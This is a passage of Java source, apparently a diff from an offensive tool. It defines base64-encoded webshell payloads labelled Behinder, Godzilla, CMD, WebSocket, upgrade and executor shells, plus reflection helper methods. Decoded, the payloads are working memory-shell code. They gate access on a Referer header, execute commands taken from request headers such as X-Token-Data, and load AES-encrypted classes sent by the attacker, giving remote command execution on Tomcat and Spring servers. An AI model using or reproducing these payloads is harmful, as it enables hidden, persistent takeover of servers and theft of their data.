VhZExpbmUoKSk7CgkJCQkJCgkJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7CgkJCQkJc2Vzc2lvbi5wdXRWYWx1ZSgidSIsIGspOwoJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5DbGFzc0xvYWRlciIpLmdldERlY2xhcmVkTWV0aG9kKCJkZWZpbmVDbGFzcyIsIG5ldyAJQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsKCQkJCQlDbGFzcyAgZXZpbGNsYXNzICAgICAgPSAoQ2xhc3MpIG1ldGhvZC5pbnZva2UoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSxuZXcgT2JqZWN0W117ZXZpbGNsYXNzX2J5dGUsIAlJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihldmlsY2xhc3NfYnl0ZS5sZW5ndGgpfSk7CgkJCQkJZXZpbGNsYXNzLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTsKCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQp9"; + + public static String BEHINDER_SHELL_OBSCURE = "ew0KCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCkgJDE7DQoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSkgJDI7DQoJCQl0cnkgew0KCQkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiUmVmZXJlciIpLmVxdWFsc0lnbm9yZUNhc2UoImh0dHBzOi8vc3UxOC5vcmcvIikpIHsNCgkJCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpIHsNCgkJCQkJCWphdmEudXRpbC5IYXNoTWFwICAgICBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOw0KCQkJCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXNzaW9uIHNlc3Npb24gPSByZXF1ZXN0LmdldFNlc3Npb24oKTsNCgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcXVlc3QpOw0KCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIHJlc3BvbnNlKTsNCgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOw0KCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOw0KDQoJCQkJCQlTdHJpbmcgayA9ICJmMzU5NzQwYmQxY2RhOTk0IjsNCgkJCQkJCXNlc3Npb24ucHV0VmFsdWUoInUiLCBrKTsNCgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOw0KCQkJCQkJYy5pbml0KDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKGsuZ2V0Qnl0ZXMoKSwgIkFFUyIpKTsNCgkJCQkJCWJ5dGVbXSBldmlsY2xhc3NfYnl0ZSA9IGMuZG9GaW5hbChiYXNlNjREZWNvZGUocGF5bG9hZC50b1N0cmluZygpKSk7DQoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsNCgkJCQkJCUNsYXNzIGV2aWxjbGFzcyA9dW5zYWZlLmRlZmluZUFub255bW91c0NsYXNzKE9iamVjdC5jbGFzcywgZXZpbGNsYXNzX2J5dGUsIG51bGwpOw0KCQkJCQkJZXZpbGNsYXNzLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0="; + + public static String GODZILLA_SHELL = "ewoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOwoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsKCQl0cnkgewoJCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL3N1MTgub3JnLyIpKSB7CgkJCQlub0xvZyhyZXF1ZXN0KTsKCQkJCVN0cmluZyBwYXNzID0gInN1MTgiOwoJCQkJU3RyaW5nIG1kNSA9IG1kNShwYXNzICsgeGMpOwoJCQkJYnl0ZVtdIGRhdGEgPSBiYXNlNjREZWNvZGUocmVxdWVzdC5nZXRQYXJhbWV0ZXIocGFzcykpOwoJCQkJZGF0YSA9IHgoZGF0YSwgZmFsc2UpOwoJCQkJaWYgKHBheWxvYWQgPT0gbnVsbCkgewoJCQkJCWphdmEubmV0LlVSTENsYXNzTG9hZGVyIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCWRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCXBheWxvYWQgPSAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KTsKCQkJCX0gZWxzZSB7CgkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgICAgICAgICAgZiAgICAgID0gcGF5bG9hZC5uZXdJbnN0YW5jZSgpOwoJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJZi5lcXVhbHMoZGF0YSk7CgkJCQkJZi5lcXVhbHMocmVxdWVzdCk7CgkJCQkJcmVzcG9uc2UuZ2V0V3JpdGVyKCkud3JpdGUobWQ1LnN1YnN0cmluZygwLCAxNikpOwoJCQkJCWYudG9TdHJpbmcoKTsKCQkJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShiYXNlNjRFbmNvZGUoeChhcnJPdXQudG9CeXRlQXJyYXkoKSwgdHJ1ZSkpKTsKCQkJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShtZDUuc3Vic3RyaW5nKDE2KSk7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KfQ=="; + + public static String GODZILLA_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5NdWx0aVZhbHVlTWFwIHZhbHVlTWFwID0gJDI7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzICAgICA9IFBBU1M7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZDUgICAgICA9IG1kNShwYXNzICsgeGMpOwogICAgU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciAgPSB2YWx1ZU1hcC5nZXRGaXJzdChwYXNzKS50b1N0cmluZygpOwogICAgdHJ5IHsKCSAgICBieXRlW10gZGF0YSA9IHgoYmFzZTY0RGVjb2RlKHBhc3NTdHIpLCBmYWxzZSk7CgkgICAgaWYgKHN0b3JlLmdldCgicGF5bG9hZCIpID09IG51bGwpIHsKCQkgICAgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCSAgICBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJICAgIGRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCSAgICBzdG9yZS5wdXQoInBheWxvYWQiLCAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KSk7CgkgICAgfSBlbHNlIHsKCSAgICAJc3RvcmUucHV0KCJwYXJhbWV0ZXJzIiwgZGF0YSk7CgkJICAgIGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCSAgICBPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSAoKENsYXNzKSBzdG9yZS5nZXQoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTsKCQkgICAgZi5lcXVhbHMoYXJyT3V0KTsKCQkgICAgZi5lcXVhbHMoZGF0YSk7CgkJICAgIHNiLmFwcGVuZChtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJICAgIGYudG9TdHJpbmcoKTsKCQkgICAgc2IuYXBwZW5kKGJhc2U2NEVuY29kZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSkpOwoJCSAgICBzYi5hcHBlbmQobWQ1LnN1YnN0cmluZygxNikpOwoJICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String GODZILLA_RAW_SHELL = "ewoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOwoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsKCQl0cnkgewoJCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL3N1MTgub3JnLyIpKSB7CgkJCQlub0xvZyhyZXF1ZXN0KTsKCQkJCWJ5dGVbXSBkYXRhID0gbmV3IGJ5dGVbSW50ZWdlci5wYXJzZUludChyZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1MZW5ndGgiKSldOwogICAgICAgICAgICAJamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQkJCWludCBfbnVtID0gMDsKICAgICAgICAgICAgCXdoaWxlICgoX251bSArPSBpbnB1dFN0cmVhbS5yZWFkKGRhdGEsIF9udW0sIGRhdGEubGVuZ3RoKSkgPCBkYXRhLmxlbmd0aCkgOwoJCQkJZGF0YSA9IHgoZGF0YSwgZmFsc2UpOwoJCQkJaWYgKHBheWxvYWQgPT0gbnVsbCkgewoJCQkJCWphdmEubmV0LlVSTENsYXNzTG9hZGVyIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCWRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCXBheWxvYWQgPSAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KTsKCQkJCX0gZWxzZSB7CgkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgICAgICAgICAgZiAgICAgID0gcGF5bG9hZC5uZXdJbnN0YW5jZSgpOwoJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJZi5lcXVhbHMoZGF0YSk7CgkJCQkJZi50b1N0cmluZygpOwoJCQkJCXJlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpLndyaXRlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKTsKCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQp9"; + + public static String CMD_SHELL_FOR_TOMCAT = "ewoJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCkgJDE7CglqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSkgJDI7Cgl0cnkgewoJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiUmVmZXJlciIpLmVxdWFsc0lnbm9yZUNhc2UoImh0dHBzOi8vc3UxOC5vcmcvIikpIHsKCQkJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3BvbnNlOwoKCQkJaWYgKCEobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpKSB7CgkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVzcG9uc2UgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZVdyYXBwZXIuY2xhc3MuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIsbnVsbCk7CgkJCQlsYXN0UmVzcG9uc2UgPSBnZXRSZXNwb25zZS5pbnZva2UocmVzcG9uc2UsbnVsbCk7CgkJCQl3aGlsZSAodHJ1ZSkgewoJCQkJCWlmIChsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkgYnJlYWs7CgkJCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShsYXN0UmVzcG9uc2UsbnVsbCk7CgkJCQl9CgkJCX0KCQkJbm9Mb2cocmVxdWVzdCk7CgkJCVN0cmluZyBjbWQgPSByZXF1ZXN0LmdldEhlYWRlcigiWC1Ub2tlbi1EYXRhIik7CgkJCSgob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGxhc3RSZXNwb25zZSkuZ2V0V3JpdGVyKCkucHJpbnRsbihleGVjQ21kKGNtZCkpOwoJCX0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7Cgl9Cn0="; + + public static String CMD_SHELL = "ewoJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCkgJDE7CglqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSkgJDI7Cgl0cnkgewoJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiUmVmZXJlciIpLmVxdWFsc0lnbm9yZUNhc2UoImh0dHBzOi8vc3UxOC5vcmcvIikpIHsKCQkJU3RyaW5nIGNtZCA9IHJlcXVlc3QuZ2V0SGVhZGVyKCJYLVRva2VuLURhdGEiKTsKCQkJcmVzcG9uc2UuZ2V0V3JpdGVyKCkucHJpbnRsbihleGVjQ21kKGNtZCkpOwoJCX0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7Cgl9Cn0="; + + public static String WS_SHELL = "ewogICAgdHJ5IHsKICAgICAgICBTdHJpbmcgY21kID0gJDE7ICAgICAgIAogICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGV4ZWNDbWQoY21kKS50b1N0cmluZygpKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String UPGRADE_SHELL = "ewoJCW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3QgcmVxdWVzdCA9ICQxOwoKCQl0cnkgewoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICBjb21tYW5kICA9IHJlcXVlc3QuZ2V0SGVhZGVyKCJzdTE4Iik7CgkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKHJlcXVlc3QsICJyZXNwb25zZSIpOwoJCQlyZXNwb25zZS5kb1dyaXRlKGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChleGVjQ21kKGNvbW1hbmQpLnRvQnl0ZUFycmF5KCkpKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCgkJcmV0dXJuIGZhbHNlOwoJfQ=="; + + public static String EXECUTOR_SHELL = "ewoJU3RyaW5nIGNtZCA9IGdldFJlcXVlc3QoKTsKCWlmIChjbWQubGVuZ3RoKCkgPiAxKSB7CgkJZ2V0UmVzcG9uc2UoZXhlY0NtZChjbWQpLnRvQnl0ZUFycmF5KCkpOwoJfQoJdGhpcy5leGVjdXRlKCQxLCBMb25nLnBhcnNlTG9uZygiMCIpLCBqYXZhLnV0aWwuY29uY3VycmVudC5UaW1lVW5pdC5NSUxMSVNFQ09ORFMpOwp9"; + + // executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性 + public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN0KCkgewoJdHJ5IHsKCQlUaHJlYWRbXSB0aHJlYWRzID0gKFRocmVhZFtdKSAoKFRocmVhZFtdKSBnZXRGaWVsZFZhbHVlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0VGhyZWFkR3JvdXAoKSwgInRocmVhZHMiKSk7CgkJZm9yIChpbnQgaSA9IDA7IGkgPCB0aHJlYWRzLmxlbmd0aDsgaSsrKSB7CgkJCVRocmVhZCB0aHJlYWQgPSB0aHJlYWRzW2ldOwoJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCVN0cmluZyB0aHJlYWROYW1lID0gdGhyZWFkLmdldE5hbWUoKTsKCQkJCWlmICghdGhyZWFkTmFtZS5jb250YWlucygiZXhlYyIpICYmIHRocmVhZE5hbWUuY29udGFpbnMoIkFjY2VwdG9yIikpIHsKCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQlpZiAodGFyZ2V0IGluc3RhbmNlb2YgamF2YS5sYW5nLlJ1bm5hYmxlKSB7CgkJCQkJCXRyeSB7CgkJCQkJCQlPYmplY3RbXSBvYmplY3RzID0gKE9iamVjdFtdKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZSh0YXJnZXQsICJ0aGlzJDAiKSwgIm5pb0NoYW5uZWxzIiksICJzdGFjayIpOwoJCQkJCQkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBoZWFwQnl0ZUJ1ZmZlciA9IChqYXZhLm5pby5CeXRlQnVmZmVyKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUob2JqZWN0c1swXSwgImFwcFJlYWRCdWZIYW5kbGVyIiksImJ5dGVCdWZmZXIiKTsKCQkJCQkJCVN0cmluZyAgICAgYSAgICAgICAgICAgICAgPSBuZXcgU3RyaW5nKGhlYXBCeXRlQnVmZmVyLmFycmF5KCksICJVVEYtOCIpOwoJCQkJCQkJaWYgKGEuY29udGFpbnMoVEFHKSkgewoJCQkJCQkJCXJldHVybiBhLnN1YnN0cmluZyhhLmluZGV4T2YoVEFHKSArIFRBRy5sZW5ndGgoKSArIDEsIGEuaW5kZXhPZigiXHIiLCBhLmluZGV4T2YoVEFHKSkgLSAxKTsKCQkJCQkJCX0KCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCQkKCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQoJcmV0dXJuICIiOwp9"; + + // executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode + public static String GET_RESPONSE = "cHVibGljIHZvaWQgZ2V0UmVzcG9uc2UoYnl0ZVtdIHJlcykgewoJCXRyeSB7CgkJCVRocmVhZFtdIHRocmVhZHMgPSAoVGhyZWFkW10pICgoVGhyZWFkW10pIGdldEZpZWxkVmFsdWUoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRUaHJlYWRHcm91cCgpLCAidGhyZWFkcyIpKTsKCgkJCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkcy5sZW5ndGg7IGkrKykgewoJCQkJVGhyZWFkIHRocmVhZCA9IHRocmVhZHNbaV07CgkJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCQlTdHJpbmcgdGhyZWFkTmFtZSA9IHRocmVhZC5nZXROYW1lKCk7CgkJCQkJaWYgKCF0aHJlYWROYW1lLmNvbnRhaW5zKCJleGVjIikgJiYgdGhyZWFkTmFtZS5jb250YWlucygiQWNjZXB0b3IiKSkgewoJCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQkJaWYgKHRhcmdldCBpbnN0YW5jZW9mIFJ1bm5hYmxlKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3Qgb2JqZWN0cyA9IChqYXZhLnV0aWwuQXJyYXlMaXN0KSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZShnZXRGaWVsZFZhbHVlKHRhcmdldCwgInRoaXMkMCIpLCAiaGFuZGxlciIpLCAiZ2xvYmFsIiksICJwcm9jZXNzb3JzIik7CgoJCQkJCQkJCWZvciAoaW50IGogPSAwOyBqIDwgb2JqZWN0cy5zaXplKCk7IGorKykgewoJCQkJCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbyByZXF1ZXN0ICA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbykgb2JqZWN0cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ"; + + // toCString + public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; + + // getMethodAndInvoke native 版 + public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgIC